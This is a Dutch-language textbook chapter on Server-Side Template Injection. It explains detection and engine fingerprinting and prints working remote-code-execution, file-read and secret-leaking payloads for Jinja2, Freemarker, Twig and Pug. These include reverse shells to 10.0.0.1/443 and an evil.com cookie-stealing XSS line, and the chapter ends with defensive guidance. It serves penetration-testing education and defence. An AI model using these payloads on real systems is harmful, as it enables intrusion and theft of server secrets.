Server-Side Template Injection (SSTI)
In 1440 veranderde Johannes Gutenberg de wereld met een idee dat zo simpel was dat het achteraf verbijsterend is dat niemand er eerder op was gekomen. Hij maakte losse metalen letters – types – die je in een raamwerk kon plaatsen, kon ininkten, en op papier kon drukken. Je kon de letters hergebruiken, de tekst veranderen, en duizenden kopieën maken van hetzelfde document. De drukpers was geboren, en daarmee het einde van het monopolie van de Kerk op informatie, de opkomst van de wetenschap, en uiteindelijk een wereld waarin iedereen kan lezen en schrijven.
Gutenberg zou het web onmiddellijk begrijpen.
Want wat doen template engines anders dan wat zijn drukpers deed? Ze nemen een sjabloon – een mal, een raamwerk – en vullen het met variabele data. In Gutenbergs tijd waren dat letters en woorden. In onze tijd zijn het gebruikersnamen, productprijzen, en zoekresultaten. Het principe is identiek: scheiding van structuur en inhoud.
Beste {{ naam }},
Uw bestelling van {{ product }} is verzonden.
Dit is een template. De dubbele accolades markeren plekken waar variabele data wordt ingevuld. De template engine – Jinja2, Twig, Freemarker, Pug, of een van de tientallen andere – neemt dit sjabloon, vervangt de variabelen door echte waarden, en genereert de uiteindelijke HTML.
Het is elegant. Het is efficiënt. En het gaat spectaculair mis wanneer een aanvaller de inhoud van de drukplaten kan bepalen.
Want dat is wat Server-Side Template Injection is. Niet het invullen van variabelen in een sjabloon, maar het aanpassen van het sjabloon zelf. Alsof iemand in Gutenbergs werkplaats binnensloop en de loden letters verving door zijn eigen tekst. Behalve dat deze tekst geen woorden bevat, maar instructies. Instructies die de drukpers vertellen om niet te drukken, maar om commando’s uit te voeren op de server.
7.1 Wat is SSTI? (En wat is het niet?)
Laten we het onderscheid helder maken, want het wordt vaak verward met zijn client-side neef.
Cross-Site Scripting (XSS) is code-injectie in de browser. De schadelijke code wordt uitgevoerd op de computer van de bezoeker. Het is vervelend, het is gevaarlijk, maar het is beperkt tot wat een browser kan doen.
Server-Side Template Injection (SSTI) is code-injectie op de server. De schadelijke code wordt uitgevoerd op de server zelf, met alle rechten van het webapplicatieproces. Het is het verschil tussen iemand die je brievenbus openmaakt en iemand die je huis binnenwandelt.
Bij XSS injecteert de aanvaller JavaScript dat in de browser draait:
<script>document.location='http://evil.com/?c='+document.cookie</script>Bij SSTI injecteert de aanvaller template-syntax die op de server wordt geëvalueerd:
{{config.SECRET_KEY}}
Het eerste steelt cookies. Het tweede steelt alles.
Hoe ontstaat SSTI?
SSTI ontstaat wanneer gebruikersinput direct in een template wordt verwerkt in plaats van als data aan een template te worden doorgegeven. Het verschil is cruciaal.
Veilig – de gebruikersinput wordt als variabele doorgegeven:
# Python/Flask - VEILIG
@app.route('/hello')
def hello():
name = request.args.get('name', 'wereld')
return render_template_string('Hallo {{ name }}!', name=name)Hier is name een variabele die door de template engine
wordt geëscaped en ingevuld. Zelfs als name de waarde
{{7*7}} heeft, wordt het letterlijk weergegeven als
tekst.
Onveilig – de gebruikersinput wordt onderdeel van het template zelf:
# Python/Flask - ONVEILIG
@app.route('/hello')
def hello():
name = request.args.get('name', 'wereld')
template = f'Hallo {name}!'
return render_template_string(template)Hier wordt de gebruikersinput eerst in de template-string geplakt via
de f-string, en daarna wordt het geheel als template geëvalueerd. Als
name de waarde {{7*7}} heeft, staat er
Hallo {{7*7}}! in het template, en de engine berekent
7*7 = 49. Het resultaat is Hallo 49!.
Het verschil is een enkele regel code. Eén regel. Het verschil tussen een veilige applicatie en een die volledige command execution toestaat via een URL-parameter. Als dat je niet een ongemakkelijk gevoel geeft, zou het dat wel moeten doen.
De template engine als tolk
Een template engine is in essentie een tolk. Je geeft hem een zin in template-taal, en hij vertaalt die naar HTML. Maar deze tolk is niet dom. De meeste template engines ondersteunen expressies, loops, conditionals, en toegang tot objecten en hun methoden.
In Jinja2 kun je dit doen:
{{ range(10)|list }}
{{ request.environ }}
{{ config.items()|list }}
In Twig:
{{ dump(app) }}
{{ '/etc/passwd'|file_excerpt(1,30) }}
In Freemarker:
${.version}
${.data_model}
Elke template engine is een programmeertaal. Sommige zijn beperkt, andere zijn dat niet. En het zijn de onbeperkte die voor de interessantste pentestresultaten zorgen.
7.2 Detectie: welke engine draait er?
Voordat je een SSTI kunt exploiteren, moet je twee dingen weten:
- Is SSTI mogelijk? (Wordt mijn input als template geëvalueerd?)
- Welke template engine draait er?
Beide vragen kun je beantwoorden met een systematische reeks testpayloads.
IB – De web_ssti_detect command file
bevat een complete detectie- workflow, van initiële test tot
engine-identificatie. Gebruik deze als checklist bij elke SSTI-test.
Stap 1: Is template injection mogelijk?
Begin met de eenvoudigste payloads. Het doel is om een wiskundige berekening te laten uitvoeren door de server:
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}
Elke payload gebruikt de syntax van een andere template engine. Als
een van deze 49 retourneert in de response, weet je twee
dingen: SSTI is mogelijk, en je hebt een hint over welke engine het
is.
| Payload | Engine(s) |
|---|---|
{{7*7}} = 49 |
Jinja2, Twig, Handlebars, Angular |
${7*7} = 49 |
Freemarker, Smarty, Thymeleaf, Velocity |
<%= 7*7 %> = 49 |
ERB (Ruby), EJS (Node.js) |
#{7*7} = 49 |
Pug/Jade (Node.js), Ruby |
*{7*7} = 49 |
Thymeleaf (Spring) |
Stap 2: Welke engine precies?
Meerdere engines gebruiken dezelfde syntax. Om ze te onderscheiden, gebruik je type coercion – het vermenigvuldigen van een getal met een string:
{{7*'7'}}
In Python (Jinja2) vermenigvuldigt 7*'7' de string
'7' zeven keer, wat resulteert in '7777777'.
In PHP (Twig) is string-vermenigvuldiging geen ding, dus het resultaat
is gewoon 49 (PHP cast de string naar een integer).
Dit ene verschil onderscheidt twee engines die dezelfde syntax gebruiken. Het is een vingerafdruk op basis van taalgedrag.
De beslisboom
De IB command file bevat de complete beslisboom, maar hier is de samenvatting:
{{7*7}} = 49?
/ \
ja nee
| |
{{7*'7'}} = ? ${7*7} = 49?
/ \ / \
'7777777' 49 ja nee
| | | |
Jinja2 Twig ${"test"}? #{7*7} = 49?
(Python) (PHP) / \ / \
ja nee ja nee
| | | |
Freemarker ? Pug/Jade <%= 7*7 %>?
(Java) (Node.js) / \
ja nee
| |
ERB ...
(Ruby)
Dit is een gestructureerde aanpak. Geen gokwerk, geen trial-and-error, maar een logische eliminatie die je in vijf requests naar de juiste engine leidt.
IB – De tip onderaan web_ssti_detect is
cruciaal: foutmeldingen onthullen vaak de engine naam en versie. Een
TemplateSyntaxError met “Jinja2” erin is een cadeautje.
Forceer fouten met ongeldige syntax als {{ zonder
sluiting.
Waar test je?
SSTI kan opduiken op onverwachte plekken. De voor de hand liggende kandidaten zijn zoekbalken, formuliervelden, en URL-parameters. Maar denk ook aan:
- E-mail templates: applicaties die bevestigingsmails genereren met gebruikersinput in het template
- PDF-generatie: tools als wkhtmltopdf of WeasyPrint die templates renderen naar PDF
- Foutpagina’s: custom 404-pagina’s die de gevraagde URL in een template verwerken
- Profielpagina’s: “welkom, {{ username }}” waar de username door de gebruiker is ingesteld
- Admin-panelen: template editors waar beheerders “veilige” templates kunnen aanpassen
De laatste is bijzonder ironisch. Een admin-paneel dat je templates laat bewerken is per definitie een SSTI-interface. Het enige verschil is dat het “feature” heet in plaats van “kwetsbaarheid”. Het onderscheid hangt af van wie er achter het toetsenbord zit.
7.3 Jinja2: Python’s template engine ontleed
Jinja2 is de default template engine van Flask, een van de populairste Python webframeworks. Het wordt ook gebruikt door Ansible, SaltStack, en Django (als alternatief voor Django’s eigen engine). Als je een Python-webapplicatie test, is de kans groot dat je met Jinja2 te maken hebt.
Detectie:
{{7*7}} -> 49
{{7*'7'}} -> '7777777' (Python string multiplication)
Die string-vermenigvuldiging is het bewijs dat je met Python te maken hebt. Geen andere gangbare taal doet dit.
IB – De web_ssti_jinja command file
bevat het complete Jinja2 exploit-arsenaal, van info disclosure tot
meerdere RCE-methoden. De command file is gestructureerd van eenvoudig
naar geavanceerd.
Info disclosure: de voordeur
Voordat je naar RCE grijpt, is het slim om te kijken wat er direct beschikbaar is. In Flask-applicaties zijn er enkele goudmijnen:
# Flask configuratie lezen (bevat SECRET_KEY, database URIs, etc.):
{{config|pprint}}
# Omgevingsvariabelen van het request:
{{request.environ}}
# Alle attributen van het huidige object:
{{self.__dict__}}{{config|pprint}} is vaak de eerste payload die je
probeert na detectie. Het retourneert de complete Flask-configuratie,
inclusief de SECRET_KEY (waarmee je sessies kunt forgen),
database URIs (met credentials), en alle andere configuratiewaarden die
de ontwikkelaar liever verborgen had gehouden.
# Typische output van {{config|pprint}}:
{'DEBUG': True,
'SECRET_KEY': 'super-geheim-wachtwoord-123',
'SQLALCHEMY_DATABASE_URI': 'mysql://root:password@localhost/app',
'MAIL_PASSWORD': 'smtp-password-hier',
...}Dit is geen RCE, maar het is vaak net zo waardevol. Met de
SECRET_KEY kun je sessie-cookies forgen en jezelf admin
maken. Met de database-URI kun je rechtstreeks verbinden met de
database. Soms hoef je helemaal geen code uit te voeren – je hoeft
alleen maar te lezen wat er al staat.
RCE via de MRO-keten
Nu wordt het technisch. En fascinerend.
Python is een objectgeoriënteerde taal waarin alles een object is.
Letterlijk alles. Een string is een object. Een integer is een object.
None is een object. En elk object heeft een klasse, en elke
klasse heeft een hiërarchie van ouderklassen, tot aan de oer-klasse
object.
Die hiërarchie kun je navigeren:
# Stap 1: Pak de klasse van een lege string
''.__class__
# <class 'str'>
# Stap 2: Bekijk de Method Resolution Order (MRO)
''.__class__.__mro__
# (<class 'str'>, <class 'object'>)
# Stap 3: Pak de basis-klasse 'object'
''.__class__.__mro__[1]
# <class 'object'>
# Stap 4: Bekijk ALLE subklassen van 'object'
''.__class__.__mro__[1].__subclasses__()
# [<class 'type'>, <class 'async_generator'>, ..., <class 'subprocess.Popen'>, ...]Die laatste stap is de sleutel. __subclasses__()
retourneert een lijst van alle klassen die erven van
object. En in een typische Python-runtime zijn dat er
honderden. Inclusief subprocess.Popen – de klasse waarmee
je systeemcommando’s kunt uitvoeren.
In Jinja2 template-syntax:
# Stap 1: Lijst alle subklassen
{{''.__class__.__mro__[1].__subclasses__()}}
Dit geeft een enorme lijst. Zoek in de output naar
subprocess.Popen. Noteer de index (positie in de lijst).
Stel dat het index 421 is:
# Stap 2: Voer een commando uit via Popen
{{''.__class__.__mro__[1].__subclasses__()[421]('id',shell=True,stdout=-1).communicate()}}
Het resultaat:
(b'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n', None)
Van een lege string naar command execution. Via de klasse-hiërarchie van Python. Het is briljant en beangstigend tegelijk. Het is alsof je via de stamboom van een willekeurige persoon ontdekt dat hij een verre neef is van een bankdirecteur, en vervolgens die verwantschap gebruikt om de kluis te openen.
IB – Belangrijk: de index van
subprocess.Popen verschilt per Python-versie en per
applicatie (afhankelijk van welke modules geladen zijn). Enumerate
altijd eerst met de __subclasses__() payload en zoek de
juiste index.
RCE bypass: het
__ filter omzeilen
Sommige applicaties filteren dubbele underscores (__) om
SSTI te voorkomen. Slim, maar niet slim genoeg. Jinja2’s
attr() filter biedt een alternatieve route:
{% set cls = "__class__" %}
{% set mro = "__mro__" %}
{% set sub = "__subclasses__" %}
{% set r = ""|attr(cls)|attr(mro) %}
{% set s = r[1]|attr(sub)() %}
{{s[421]("id",shell=True,stdout=-1).communicate()}}
In plaats van ''.__class__ schrijf je
""|attr("__class__"). Het resultaat is identiek, maar de
dubbele underscores staan nu in strings in plaats van direct in de
template-expressie. Een filter dat alleen de template-syntax
controleert, ziet ze niet.
Het is het equivalent van een bewaker die controleert of je een wapen bij je draagt, maar niet kijkt in de doos die je “cadeautje voor mijn moeder” noemt.
RCE via os.popen
Een elegantere route die geen index-zoektocht vereist:
{{cycler.__init__.__globals__.os.popen('id').read()}}
cycler is een Jinja2 built-in. Via
__init__.__globals__ bereik je de globale namespace van de
module waarin cycler is gedefinieerd, en daarin zit
os. Van daaruit is het een kort pad naar
popen().
RCE via url_for
Nog een route, specifiek voor Flask:
{{url_for.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
url_for is een Flask-functie die beschikbaar is in elke
Jinja2-template. Via de globale namespace bereik je
__builtins__, van daaruit __import__, en
daarmee kun je elke Python-module importeren.
os.popen('id').read() voert het commando uit en retourneert
de output.
Dit is de nucleaire optie. Met __import__ kun je alles
importeren: subprocess, socket,
http.client. Je hebt niet alleen command execution, je hebt
volledige Python. Je kunt een reverse shell spawnen, bestanden lezen en
schrijven, netwerkrequests maken, en in theorie het hele systeem
overnemen.
7.4 Freemarker: Java’s template tijdbom
Apache Freemarker is de dominante template engine in het Java-ecosysteem. Je vindt het in Spring Boot-applicaties, Java CMS-systemen als Liferay en Halo, en in talloze enterprise-applicaties die gebouwd zijn op het principe “als het in Java is geschreven, is het veilig”. (Het is niet veilig.)
Detectie:
${7*7} -> 49
${7*"7"} -> ERROR (Java type mismatch: int * String)
Die foutmelding bij string-vermenigvuldiging onderscheidt Freemarker
van Smarty (PHP), die dezelfde ${} syntax gebruikt maar
strings wel naar getallen cast.
IB – De web_ssti_freemarker command
file bevat Freemarker-specifieke exploits met de ?new()
built-in als centraal mechanisme. De tips onderaan verwijzen naar
bekende CVE’s in populaire Java CMS-systemen.
RCE via de Execute class
Freemarker heeft een built-in genaamd ?new() die klassen
kan instantiëren. Combineer dat met de
freemarker.template.utility.Execute klasse:
${"freemarker.template.utility.Execute"?new()("id")}Dat is het. Een enkele expressie die een OS-commando uitvoert. Geen klasse-hiërarchie navigatie, geen index zoeken, geen omwegen. Freemarker maakt het de aanvaller gemakkelijk op een manier die bijna beledigend is voor de ontwikkelaars die het gebruiken.
# Commando's uitvoeren:
${"freemarker.template.utility.Execute"?new()("whoami")}
# Reverse shell:
${"freemarker.template.utility.Execute"?new()("bash -c 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1'")}RCE via ObjectConstructor
Een alternatieve route via ProcessBuilder:
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder",["id"])}ObjectConstructor is nog een Freemarker utility klasse
die willekeurige Java-objecten kan maken. ProcessBuilder is
Java’s native manier om processen te starten. De combinatie is
voorspelbaar.
Bestanden lezen
Als je geen RCE nodig hebt maar wel bestanden wilt lezen:
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve("/etc/passwd").toURL().openStream().readAllBytes()?join(" ")}Dit is absurd lang, maar het werkt. Het navigeert via de
Class-hiërarchie naar een URL-object, opent een stream naar een lokaal
bestand, en leest de bytes. De ?join(" ") aan het eind
converteert de byte-array naar een leesbare string.
Het is typisch Java: technisch correct, functioneel werkend, en zo verbose dat je er depressief van wordt.
Informatie lekken
# Freemarker versie:
${.version}
# Beschikbare data in het model:
${.data_model}De versie is belangrijk omdat oudere Freemarker-versies minder
restricties hebben op ?new(). En het data model toont welke
variabelen beschikbaar zijn in het template-context, wat je hints geeft
over de applicatiestructuur.
IB – De tip in web_ssti_freemarker over
CVE-2020-21523 is relevant: Halo CMS had een authenticated Freemarker
SSTI. “Authenticated” klinkt veilig tot je beseft dat de standaard
admin-credentials admin:123456 waren.
7.5 Twig: PHP’s nette neefje
Twig is de template engine van Symfony, het meest gebruikte PHP-framework na Laravel. Het wordt ook gebruikt door Craft CMS, Drupal 8+, en tal van andere PHP-applicaties die bewust hebben gekozen voor een template engine die veiliger is dan PHP zelf. Ironisch genoeg is die keuze niet altijd veiliger gebleken.
Detectie:
{{7*7}} -> 49
{{7*'7'}} -> 49 (NIET '7777777' -- dat zou Jinja2 zijn)
Het verschil met Jinja2 is subtiel maar betrouwbaar. PHP cast
'7' naar het getal 7 voor de
vermenigvuldiging, dus het resultaat is 49. Python herhaalt
de string, dus het resultaat is '7777777'. Deze ene
observatie onderscheidt twee engines met identieke syntax.
IB – De web_ssti_twig command file
bevat exploits voor zowel Twig 1.x (deprecated maar nog in gebruik) als
Twig 2.x/3.x. De |reduce en |sort filters zijn
de sleutel voor moderne versies.
RCE via het reduce filter (Twig 2.x/3.x)
Het reduce filter in Twig accepteert een
callback-functie als argument. In PHP is system een
functie. Dus:
{{[0]|reduce('system','id')}}
Dit roept system('id') aan via het reduce
filter. De [0] is een array met een element (nodig als
input voor reduce), 'system' is de callback,
en 'id' is de initiële waarde die als argument aan
system wordt doorgegeven.
# Commando's uitvoeren:
{{[0]|reduce('system','whoami')}}
# Reverse shell:
{{[0]|reduce('system','bash -c "bash -i >& /dev/tcp/10.0.0.1/443 0>&1"')}}
RCE via het sort filter
Vergelijkbaar met reduce, accepteert sort
een callback:
{{['id']|sort('passthru')}}
{{['whoami']|sort('system')}}
passthru en system zijn PHP-functies die
commando’s uitvoeren. Door ze als sorteer-callback te gebruiken, worden
ze aangeroepen met de array- elementen als argumenten.
Het is alsof je een sorteeralgoritme geeft aan iemand en zegt “sorteer deze lijst”, maar het algoritme is eigenlijk een instructie om de kluis te openen. Het systeem doet braaf wat je vraagt, zonder te beseffen dat de vraag kwaadaardig is.
Bestanden lezen
Twig heeft een ingebouwd filter voor het lezen van bestanden:
{{'/etc/passwd'|file_excerpt(1,30)}}
Dit leest de eerste 30 regels van /etc/passwd. Het is
een Twig-feature die bedoeld is voor debugging. Dat het in productie
beschikbaar is, is een keuze die het woord “onverstandig” niet volledig
dekt.
Informatie lekken
# Twig environment informatie:
{{_self.env.getExtension('Twig_Extension_Core')}}
# Symfony applicatie dump (als debug mode aan staat):
{{dump(app)}}
dump(app) in Symfony geeft je het complete
applicatie-object, inclusief de kernel, de container met alle services,
en de configuratie. Het is het equivalent van iemand die je de blauwdruk
van het gebouw geeft terwijl je alleen de weg naar het toilet vroeg.
Twig 1.x: de klassieke RCE
Twig 1.x had een bijzonder directe exploitatie-methode via
_self:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Stap voor stap:
registerUndefinedFilterCallback("exec")registreert PHP’sexec-functie als callback voor onbekende filters.getFilter("id")zoekt naar een filter genaamd “id”. Dat filter bestaat niet, dus de callback wordt aangeroepen met “id” als argument.exec("id")wordt uitgevoerd.
Twig 2.x heeft dit gefixt door _self.env alleen-lezen te
maken. Maar Twig 1.x applicaties bestaan nog. En als er iets is dat dit
boek consequent bewijst, is het dat oude software niet doodgaat. Het
wordt alleen vergeten door iedereen behalve aanvallers.
IB – De tip over Craft CMS en de Sprout Forms plugin
in web_ssti_twig is een concreet voorbeeld van een
real-world SSTI-vector. Sprout Forms liet gebruikers Twig-syntax
invoeren in formuliervelden die server-side werden gerenderd.
7.6 Pug: Node.js en de kunst van de indentatie
Pug (voorheen Jade) is de meest gebruikte template engine in het Express.js- ecosysteem. Het onderscheidt zich door zijn indentatie-gebaseerde syntax – geen HTML-tags, geen sluittags, alleen indentatie. Het is compact, het is elegant, en het geeft je rechtstreeks toegang tot Node.js, wat betekent dat SSTI hier niet “mogelijk” is maar “triviaal”.
Detectie:
#{7*7} -> 49
De #{} syntax en het ontbreken van sluit-tags zijn de
vingerafdrukken van Pug.
IB – De web_ssti_pug command file bevat
Pug-specifieke payloads die gebruikmaken van Node.js’
global.process.mainModule.require. Let op het verschil
tussen - (unbuffered) en = (buffered)
prefixes.
RCE via child_process
In Pug kun je JavaScript-code uitvoeren met het -
(unbuffered, geen output) of = (buffered, output wordt
gerenderd) prefix:
- var require = global.process.mainModule.require
= require('child_process').spawnSync('id').stdout
Stap voor stap:
global.process.mainModule.requiregeeft je toegang tot Node.js’requirefunctie, waarmee je modules kunt laden.require('child_process')laadt de module voor het uitvoeren van systeemcommando’s..spawnSync('id').stdoutvoertiduit en retourneert de output.
Het - prefix voert code uit zonder output (handig voor
setup). Het = prefix voert code uit en rendert het
resultaat in de HTML.
Reverse shell
- var require = global.process.mainModule.require
- require('child_process').exec('bash -c "bash -i >& /dev/tcp/10.0.0.1/443 0>&1"')
Twee regels. Een reverse shell. In een template engine. De eenvoud is bijna ontwapenend.
Bestanden lezen
- var require = global.process.mainModule.require
= require('fs').readFileSync('/etc/passwd','utf8')
fs is Node.js’ bestandssysteem-module.
readFileSync leest een bestand synchroon en retourneert de
inhoud als string. Geen omwegen, geen wrappers, geen MRO-ketens. Just
require and read.
De korte versie
Als je weet dat eval beschikbaar is of de sandbox niet
strikt is:
#{global.process.mainModule.require('child_process').execSync('id')}
Alles op een regel. Van template injection naar command execution in een enkele expressie. Pug maakt het de aanvaller zo gemakkelijk dat het bijna onbeleefd is.
IB – De tips in web_ssti_pug
benadrukken dat Pug indentation- gebaseerd is. In HTTP-requests kan dit
lastig zijn: zorg dat de indentatie correct is, anders krijg je syntax
errors. Gebruik execSync als eenvoudigste route voor
output.
7.7 Sandbox escapes: de muren doorbreken
Template engines zijn zich bewust van het risico. Veel van hen implementeren sandboxes – beperkingen op wat templates mogen doen. De vraag is niet of die sandboxes bestaan, maar of ze werken.
Hoe sandboxes werken
Een template sandbox beperkt typisch het volgende:
- Beschikbare functies: Alleen een whitelist van functies mag worden aangeroepen
- Beschikbare attributen: Alleen goedgekeurde attributen van objecten mogen worden gelezen
- Beschikbare methoden: Alleen specifieke methoden mogen worden uitgevoerd
- Beschikbare modules: Geen toegang tot
systeem-modules als
osofsubprocess
In Jinja2 kun je een SandboxedEnvironment
configureren:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
# __class__, __mro__, etc. zijn nu geblokkeerdIn Twig kun je een security policy instellen:
$policy = new Twig\Sandbox\SecurityPolicy(
['if', 'for'], // Toegestane tags
['upper', 'lower'], // Toegestane filters
[], // Toegestane methoden
[], // Toegestane properties
[] // Toegestane functies
);
$sandbox = new Twig\Extension\SandboxExtension($policy);Hoe sandboxes falen
Het probleem met sandboxes is dat ze werken op basis van bekende gevaarlijke patronen. Ze zijn blacklists in vermomming. En elke blacklist heeft blinde vlekken.
Jinja2 sandbox escapes:
De SandboxedEnvironment blokkeert directe toegang tot
__class__ en gerelateerde attributen. Maar het
attr() filter werkt soms nog:
{# Directe toegang geblokkeerd: #}
{{''.__class__}} {# -> SecurityError #}
{# Via attr() filter: #}
{{""|attr("__class__")}} {# -> Werkt soms nog #}
Of via string-concatenatie:
{# Onderscores in variabelen: #}
{% set x = "__cla" ~ "ss__" %}
{{""|attr(x)}}
Twig sandbox escapes:
Twig’s sandbox is strikter, maar oudere versies hadden bugs. Twig
1.x’s _self.env was nooit bedoeld als publieke API maar was
wel toegankelijk. Twig 2.x fixte dit, maar niet voordat duizenden
applicaties waren gebouwd op het oude gedrag.
Freemarker sandbox (configuratie-gebaseerd):
Freemarker heeft geen echte sandbox, maar een configuratie-optie
new_builtin_class_resolver die bepaalt welke klassen via
?new() mogen worden geïnstantieerd:
// VEILIG:
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
// ONVEILIG (standaard in veel applicaties):
cfg.setNewBuiltinClassResolver(TemplateClassResolver.UNRESTRICTED_RESOLVER);De standaardinstelling in veel applicaties is
UNRESTRICTED_RESOLVER. De veilige optie bestaat, maar wordt
niet standaard gebruikt. Het is als een kogelvrij vest dat in de doos
zit terwijl je wordt beschoten.
Pug: geen sandbox
Pug heeft geen sandbox-mechanisme. Het is JavaScript in een template- syntaxis. Alles wat Node.js kan, kan Pug. Dit is geen bug – het is by design. De Pug-ontwikkelaars hebben besloten dat als je Pug gebruikt, je vertrouwt op de input die je templates bereikt. Dat is een aanname die in de praktijk ongeveer even betrouwbaar is als de aanname dat gebruikers alleen hun echte naam invullen in een formulier.
De fundamentele zwakte van sandboxes
Het probleem met template sandboxes is conceptueel. Een sandbox probeert een programmeertaal te beperken. Maar programmeertalen zijn ontworpen om expressief en flexibel te zijn. Die expressiviteit en flexibiliteit zijn precies wat aanvallers gebruiken om de sandbox te omzeilen.
Het is een fundamentele tegenstelling: je wilt een taal die krachtig genoeg is om nuttige templates te maken, maar beperkt genoeg om geen schade aan te richten. Die balans is bijna onmogelijk te vinden. Elke keer dat een sandbox wordt aangescherpt, wordt de taal minder bruikbaar. En elke keer dat de taal expressiever wordt, vinden aanvallers nieuwe ontsnappingsroutes.
De oplossing is niet een betere sandbox. De oplossing is gebruikersinput nooit als template-code te behandelen. Maar dat is een boodschap die al jaren wordt herhaald en al jaren wordt genegeerd.
7.8 Verdediging: de drukplaten beschermen
De verdediging tegen SSTI is conceptueel simpel maar organisatorisch complex. Het vereist dat ontwikkelaars begrijpen hoe template engines werken – niet alleen de syntax, maar de semantiek, de evaluatie-volgorde, en de implicaties van elke design-keuze.
Regel 1: Nooit gebruikersinput in templates
De fundamentele regel. Gebruikersinput hoort in variabelen, niet in template-strings:
# FOUT:
render_template_string(f"Hallo {user_input}!")
# GOED:
render_template_string("Hallo {{ name }}!", name=user_input)// FOUT:
$twig->createTemplate("Hallo " . $userInput . "!")->render();
// GOED:
$twig->render('greeting.html', ['name' => $userInput]);// FOUT:
Template t = cfg.getTemplate(new StringReader("Hallo " + userInput + "!"));
// GOED:
Template t = cfg.getTemplate("greeting.ftl");
Map<String, Object> data = new HashMap<>();
data.put("name", userInput);
t.process(data, out);Het patroon is consistent over alle talen: scheiding van template en data. Het template is code – vertrouwd, door de ontwikkelaar geschreven, statisch. De data is variabel – niet vertrouwd, door de gebruiker aangeleverd, dynamisch. De twee mogen nooit worden vermengd.
Regel 2: Gebruik logic-less templates waar mogelijk
Logic-less template engines – zoals Mustache en Handlebars – beperken opzettelijk wat je in een template kunt doen. Geen loops, geen conditionals, geen expressie-evaluatie. Alleen variabele substitutie.
{{! Handlebars: alleen substitutie, geen evaluatie }}
<p>Hallo, {{name}}!</p>
<p>Je hebt {{count}} berichten.</p>Het gebrek aan functionaliteit is het beveiligingsvoordeel. Als de template engine geen expressies kan evalueren, kan een aanvaller geen expressies injecteren. Het is beveiliging door beperking, en het werkt beter dan beveiliging door complexiteit.
De trade-off is dat je meer logica in de applicatiecode moet
schrijven in plaats van in templates. Maar dat is sowieso waar logica
thuishoort. Templates zijn voor presentatie, niet voor logica. Als je
if-statements in je templates schrijft, ben je een
programma aan het schrijven, niet een template.
Regel 3: Sandbox configuratie
Als je een volledige template engine nodig hebt, configureer de sandbox:
Jinja2:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
# Optioneel: extra beperkingen
env.globals = {} # Geen globale functies
env.filters = {} # Geen filters (extreem, maar veilig)Twig:
$policy = new Twig\Sandbox\SecurityPolicy(
['if', 'for', 'set'], // Tags
['escape', 'upper', 'lower'], // Filters
[], // Methoden: LEEG
[], // Properties: LEEG
['range', 'cycle'] // Functies
);
$sandbox = new Twig\Extension\SandboxExtension($policy, true); // true = globaal
$twig->addExtension($sandbox);Freemarker:
Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
cfg.setAPIBuiltinEnabled(false);Regel 4: Input validatie
Als je om een of andere reden gebruikersinput in templates moet verwerken (en vraag jezelf drie keer af of dat echt nodig is), valideer de input strikt:
import re
def sanitize_template_input(value):
# Strip ALLES dat op template-syntax lijkt
dangerous_patterns = [
r'\{\{', # Jinja2/Twig/Handlebars
r'\}\}',
r'\$\{', # Freemarker/EL
r'<%', # ERB/EJS
r'%>',
r'#\{', # Pug/Ruby
r'\{%', # Jinja2/Twig blocks
r'%\}',
]
for pattern in dangerous_patterns:
if re.search(pattern, value):
raise ValueError(f"Ongeldige input: template syntax gedetecteerd")
return valueDit is een blacklist-benadering en dus inherent onvolledig. Maar het is een extra laag bovenop de andere maatregelen. Verdediging in diepte.
Regel 5: Content Security Policy
Een CSP-header kan de impact van SSTI beperken door te voorkomen dat geïnjecteerde JavaScript wordt uitgevoerd (als de SSTI output in HTML terechtkomt):
Content-Security-Policy: default-src 'self'; script-src 'self'
Dit voorkomt geen server-side code execution, maar het beperkt wat een aanvaller aan de client-side kan doen met de output van een succesvolle SSTI.
Regel 6: Least privilege
Het webapplicatieproces moet draaien met minimale rechten:
# De applicatie als unprivileged user:
sudo -u www-data python app.py
# In Docker:
USER nobody
# SELinux/AppArmor profielen die bestandstoegang beperkenAls een aanvaller RCE bereikt via SSTI, zijn de rechten van het
proces het plafond van wat hij kan doen. Een proces dat als
root draait, geeft de aanvaller het hele systeem. Een
proces dat als nobody draait, geeft de aanvaller bijna
niets.
7.9 De ongemakkelijke waarheid
En dan nu het moment waarop we even eerlijk moeten zijn over de stand van zaken. Het moment waarop de cynische stem het overneemt van de nieuwsgierige wetenschapper.
We laten gebruikers code schrijven in onze templates.
Lees die zin nog eens. We bouwen systemen die template-syntax evalueren, we stoppen daar gebruikersinput in, en we zijn verrast wanneer iemand die evaluatie misbruikt. Het is alsof je een vreemdeling de sleutels van je auto geeft en dan verbaasd bent dat hij wegrijdt.
De tools om SSTI te voorkomen bestaan al jaren.
render_template_string met variabelen in plaats van
f-strings is geen raketwetenschap. Sandboxed environments zijn
gedocumenteerd. Logic-less templates bestaan. En toch, in 2026,
publiceren beveiligingsonderzoekers nog steeds CVE’s voor SSTI in
productieapplicaties die door miljoenen mensen worden gebruikt.
Het probleem is niet technisch. De oplossingen bestaan. Het probleem
is cultureel. Ontwikkelaars kiezen voor de snelle route – een f-string
is twee toetsaanslagen korter dan een extra parameter in
render_template_string. Code reviewers missen het verschil
omdat ze niet weten hoe template engines werken. Testers testen niet
voor SSTI omdat het niet op hun checklist staat. En managers zeggen “het
werkt toch?” tot het moment dat het niet meer werkt.
SSTI is geen geavanceerde aanval. Het is geen zero-day. Het is geen state- sponsored APT. Het is een gewone bug die voortkomt uit een gewoon gebrek aan aandacht. En dat maakt het eigenlijk erger dan al die exotische aanvallen waar de beveiligingsindustrie zo graag over praat. Want een zero-day kun je niet voorkomen. SSTI kun je voorkomen door vijf minuten langer na te denken voordat je commit. Maar die vijf minuten zijn blijkbaar te veel gevraagd.
